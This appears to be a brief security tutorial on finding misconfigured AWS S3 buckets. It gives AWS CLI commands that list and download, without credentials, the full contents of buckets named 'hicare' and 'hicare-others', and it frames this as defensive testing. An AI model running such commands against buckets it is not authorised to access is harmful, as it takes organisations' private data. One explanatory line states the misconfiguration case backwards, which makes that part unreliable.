S3 Bucket Misconfiguration

S3 Bucket on misconfiguration and exploitation.

Today we are going to check s3 bucket security:

  1. Install aws-cli and config aws credentials using the command:

aws configure
  1. Create a python script to list out the s3-buckets:

import boto3
s3 = boto3.resource('s3')
for bucket in s3.buckets.all():
        print(bucket.name)

You'll get list of aws s3 buckets on your aws account.

  1. Now, try to check out the s3 buckets manually with the given link:

https://s3.ap-south-1.amazonaws.com/$s3-bucketname
  • If the s3 bucket is not misconfiguration, it will display all data with documents on the page.

  • If the s3 bucket is configured, it will show access denied to third party.

  1. List out all files in the s3 bucket:

aws s3 ls s3://hicare/ --no-sign-request --region ap-south-1
  1. Download all s3 bucket files from s3 to localhost using awscli:

aws s3 sync s3://hicare-others/ ~/Documents/HiCare --no-sign-request --region ap-south-1

The goal of this testing is to prevent/secure the aws s3 bucket from the attacker. This will lead to very critical situation to any company if org data became leaked.

Last updated